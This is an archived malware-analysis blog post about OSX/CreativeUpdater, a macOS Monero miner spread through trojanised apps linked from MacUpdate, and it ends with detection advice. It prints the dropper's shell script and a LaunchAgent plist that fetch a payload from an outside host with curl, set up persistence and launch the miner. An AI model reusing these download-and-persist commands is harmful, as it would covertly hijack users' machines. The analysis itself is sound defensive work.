

Analyzing OSX/CreativeUpdater a macOS cryptominer, distributed via macupdate.com

By Patrick Wardle

Archived: 2026-04-10 02:44:00 UTC

Background

We're barely into 2018, and already there is another Mac trojan going around. Targeting macOS users, the malware was distributed via infected applications linked to on popular [MacUpdate](#) website. Specifically, on February 1st, the MacUpdate editor 'Jess-MacUpdate' added comments on several popular applications such as FireFox:

Yikes!

In this short blog post we'll dive into the malware, briefly discussing it's persistence mechanisms, and capabilities.

Before diving in, I want to thank the following security researchers and friends:

- [@noarfromspace](#) who brought the malware to my attention, provided links and insightful comments about the malware, and AFAIK gets credit for the name OSX/CreativeUpdater!

[@thomasreed](#) who also wrote a comprehensive blog post about this malware: "[New Mac cryptominer distributed via a MacUpdate hack](#)". It's definitely a worthwhile read!

- [@marcetienna](#) who provided valuable insight into both the discovery and analysis of the malware.

OSX/CreativeUpdater

So, a user is happily browsing MacUpdate, ends up at their listing for Firefox (or OnyX or Deeper)...and decides to download it. As noted by Thomas Reed, the download link on the MacUpdate site had been modified to point to a hacker controlled URL which served up the malware:

"The fake Firefox app was distributed from download-installer.cdn-mozilla.net. (Notice the domain ends in cdn-mozilla.net, which is definitely not the same as mozilla.net. This is a common scammer trick to make you think it's coming from a legitimate site.)"

Thus, instead of the legitimate Firefox application, a trojanized version would be served up to the user in form of a signed disk image (Apple Developer ID: Ramos Jaxson):

We can mount this disk image by double-clicking it, or via the 'hdiutil' utility:

```
$ hdiutil attach -noverify ~/Downloads/Firefox\ 58.0.2.dmg
```

```
/dev/disk3s2 Apple_HFS /Volumes/Firefox
```

Firefox application contained in disk image

The application shown in the disk image, Firefox.app, is also signed with the same developer ID. The fact the both the disk image and application are signed means that Gatekeeper (in it's default settings) won't block malware from executing.

Looking at contents of the trojaned Firefox application bundle, shows the main binary ('MozillaFirefox'), plus reveals another Firefox application as well as a script (aptly named 'script') in the Resources directory:

It's easy to confirm the validity of the this second Firefox application by checking it's digital signature (and ensuring it's signed by Mozilla). The [WhatsYourSign](#) Finder extension, will display this signing information via the UI:

Signed Firefox application

As we'll shortly see, that malware will execute the legitimate Firefox application so that user will no suspect anything malicious has occurred!

Decompiling the main executable, 'MozillaFirefox', we can see it looking for the 'script' file:

```
void -[ScriptExecController loadAppSettings](void * self, void * _cmd) {  
  
    r13 = [[var_1B0 pathForResource:@"script" ofType:0x0] retain];  
    r15 = @selector(defaultManager);  
    r12 = [_objc_msgSend_100015138(@class(NSFileManager), r15) retain];  
    rbx = [[var_1B0 pathForResource:@"script" ofType:0x0] retain];  
    r14 = [r12 fileExistsAtPath:rbx];  
    if (r14 == 0x0) {  
        [Alerts fatalAlert:@"Corrupt app bundle"  
        subText:@"Script missing from application bundle."];  
    }  
}
```

It then executes it, via a call to the '-[ScriptExecController executeScript]' method:

```
void -[ScriptExecController executeScript](void * self, void * _cmd) {  
  
    rbx = self;  
  
    [rbx prepareForExecution];  
    [rbx prepareInterfaceForExecution];  
    *(int8_t *) (rbx + r14) = 0x1;  
    if (*(int32_t *)&rbx->execStyle == 0x1) {  
        rsi = @selector(executeScriptWithPrivileges);  
    }  
}
```

```
else {
    rsi = @selector(executeScriptWithoutPrivileges);
}
(*_objc_msgSend)(rbx, rsi);

return;
}

void -[ScriptExecController executeScriptWithoutPrivileges](void * self, void * _cmd) {
    r13->task = [[NSTask alloc] init];

    [r13->task setLaunchPath:r13->interpreterPath];
    [r13->task setArguments:r13->arguments];

    [r13->task launch];

    ...
}
```

As noted by [@noarfromspace](#) on Twitter, OSX/CreativeUpdater was created using a legitimate developer tool called [Platypus](#). According to it's website:

“Platypus is a Mac OS X developer tool that creates native Mac applications from interpreted scripts such as shell scripts or Perl, Ruby and Python programs. This is done by wrapping the script in an application bundle along with a native executable binary that runs the script.”

This explains why the main application (i.e. the trojanized Firefox.app), simply executes the 'script' file when run.

Hmmm, where have we seen Platypus used before!?! In OSX/Eleanor, and as I noted on twitter it also used MacUpdate to spread:

Intriguing! Are they related? Who knows...

Moving on, let's peak at the script that's executed when the malicious application is started:

```
$ cat Firefox.app/Contents/Resources/script

open Firefox.app
if [ -f ~/Library/mdworker/mdworker ]; then
    killall MozillaFirefox
else
    nohup curl -o ~/Library/mdworker.zip
    https://public.adobecc.com/files/1U14RSV3MVAHBMEGV54LZ42AFNYEFF
    ?content_disposition=attachment
    && unzip -o ~/Library/mdworker.zip -d ~/Library
    && mkdir -p ~/Library/LaunchAgents
```

```
&& mv ~/Library/mdworker/MacOSupdate.plist ~/Library/LaunchAgents
&& sleep 300
&& launchctl load -w ~/Library/LaunchAgents/MacOSupdate.plist
&& rm -rf ~/Library/mdworker.zip
&& killall MozillaFirefox &
```

As Thomas Reed notes:

"...this code first attempts to open the decoy application. Next, if the malware is already installed, the malicious dropper process is killed, since installation is not necessary. If the malware is not installed, it will download the malware and unzip it into the user's Library folder...It also installs a malicious launch agent file named MacOSupdate.plist, which recurrently runs another script."

In other words, it simply downloads and installs a persistent payload. What could this be?

Though the zip file the malware tries to download (mdworker.zip, from <https://public.adobecc.com/files/1U14RSV3MVAHBMEGV54LZ42AFNYEFF>) is not longer available, luckily we can grab it from VirusTotal.

First, let's look at the 'MacOSupdate.plist' file:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" ...>
<plist version="1.0">
<dict>
<key>Label</key>
<string>MacOSupdate</string>
<key>ProgramArguments</key>
<array>
<string>sh</string>
<string>-c</string>
<string>launchctl unload -w ~/Library/LaunchAgents/MacOS.plist
&& rm -rf ~/Library/LaunchAgents/MacOS.plist &&
curl -o ~/Library/LaunchAgents/MacOS.plist
https://public.adobecc.com/files/1UJET2WD0VPD5SD0CRLX0EH2UIIEFF?
content_disposition=attachment
&& launchctl load -w ~/Library/LaunchAgents/MacOS.plist
&& ~/Library/mdworker/mdworker</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
```

Ok, kinda stupid - just downloads and installs another (new?) version of MacOS.plist.

Looking at these 'secondary' instances of the plist, one can see they persistently execute something named 'mdworker' out of the ~/Library/mdworker/ directory:

```
//version 1
$ cat ~/Library/LaunchAgents/MacOS.plist

...
ProgramArguments

sh
-c

~/Library/mdworker/mdworker -user sarahmayergo1990@gmail.com -xmr
-proxy socks://104.236.13.101:1080

//version 2
$ cat ~/Library/LaunchAgents/MacOS.plist

ProgramArguments

sh
-c

~/Library/mdworker/mdworker -user walker18@protonmail.ch -xmr
```

Running the mdworker binary (in a virtual machine), reveals it's simply [MinerGate's](#) commandline cryptominer, minergate-cli:

```
$ ./mdworker -help
Usage:
minergate-cli [-version] -user [-proxy ]
- [ ]
[- [ ] ...]
[-o -u [-t ]
[-i ]]
```

This utility is freely available for download from: minergate.com/downloads/console.

Since the miner is invoked with the -xmr flag, infected computers will mine Monero. And what about those email addresses? Thomas notes the mining software will, “periodically connect to minergate.com, passing in the email address as the login”

So now we fully understand the goal of the malware: mine crypto-currencies. Really nothing too exciting - but a trend we're seeing more and more on macOS!

And if you're wondering who did it? Well, there may be some hints buried within the disk image files. If we look closely (as noted by [@noarfromspace](#)), there's a `.DS_Store` file root directory of the `dmg`!

```
$ ls -lart /Volumes/Firefox/ | grep .DS_Store
-rw-r--r--@ 1 user staff 10244 Jan 31 11:18 .DS_Store
```

As explained by Wikipedia, the *“.DS_Store is a file that stores custom attributes of its containing folder, such as the position of icons or the choice of a background image.”* However, `.DS_Store` files also may contain paths....such as the original (full) path of the `.dmg` on the attacker's machine 💎💎.

Let's run strings on each the `.DS_Store` files:

```
$ strings -a .DS_Store | grep tiago
tiagobrandaoateus
/Users/tiogobrandaoateus/teste/macupdate/Firefox_temp.dmg

$ strings -a /Volumes/Onyx\ 3.4.2/.DS_Store | grep -i tiago
tiagobrandaoateus
/Users/tiogobrandaoateus/teste/macupdate/Onyx 3.4.2_temp.dmg

$ strings -a /Volumes/Deeper\ 2.2.7/.DS_Store | grep -i tiago
tiagobrandaoateus
/Users/tiogobrandaoateus/macupdate/deeper-app/Deeper 2.2.7_temp.dmg
```

Interesting, I wonder who Tiago Brandão Mateus is!?

Conclusions

In this blog post we provided a technical analysis of the newly discovered macOS cryptominer OSX/CreativeUpdater. Thought not particularly sophisticated nor insidious, by utilizing MacUpdate as it's infection vector it had the potential to infect a large number of users.

Let's end with a few FAQs!

Q: How does one get infected by OSX/CreativeUpdater?

A: By downloading an infected application from MacUpdates.

Specifically one of the following applications:

- “Firefox 58.0.2 since 1 February 2018”

- “Onyx since 1 February 2018” (likely version 3.4.2)
- “Deeper since 1 February 2018” (likely version 2.2.7)

Q: Can I still get infected?

A: Unlikely. MacUpdate notes that they “*have removed the [malicious] link[s]*”. Moreover, Apple has revoked the certificate used to signed the malicious disk images and application:

Once the certificate has been revoked the disk images won’t mount nor applications run (via the UI):

Q: How can I tell if I’m infected with OSX/CreativeUpdater?

A: First check to see if there is an process named mdworker or sysmdworker running from the ~/Library/mdworker/:

```
$ ps aux | grep [/]Library/mdworker/  
  
user 2199 /Users/user/Library/mdworker/mdworker
```

One can also look for the persistent artifacts of the malware. This includes following files & directories:

- ~/Library/mdworker/
- ~/Library/LaunchAgents/MacOSUpdate.plist

KnockKnock tool will also display the launch agent plist (~/Library/mdworker/MacOSUpdate.plist):

Q: On an infected system, what can OSX/CreativeUpdater do?

A: OSX/CreativeUpdater is designed to simply mine Monero (XMR) cryptocurrencies. While this will likely use a large percentage of your CPU, that’s about all the side-effects. It should be noted that as the malware does (did?) have the ability to update itself, that attacker could have provided a customized payload. However at this time, there is no indication that this happened.

Q: Your tools will protect from this right?

A: Digita Security is working hard to bring you enterprise ready and supported macOS endpoint protection capabilities in 2018! Many of them will be powered by the free [Objective-See](#) technologies referenced throughout this blog 💎💎

For example, [BlockBlock](#) will detect the persistence (when the malware downloads & creates the launch agent plist via curl):

LuLu will also display an alert when the malware connects out (again via curl) to download various components:

Well that wraps up our blog on OSX/CreativeUpdater! Mahalo for reading 😊

Subscribe to the Jamf Blog

Have market trends, Apple updates and Jamf news delivered directly to your inbox.

To learn more about how we collect, use, disclose, transfer, and store your information, please visit our [Privacy Policy](#).

Source: <https://digitasecurity.com/blog/2018/02/05/creativeupdater/>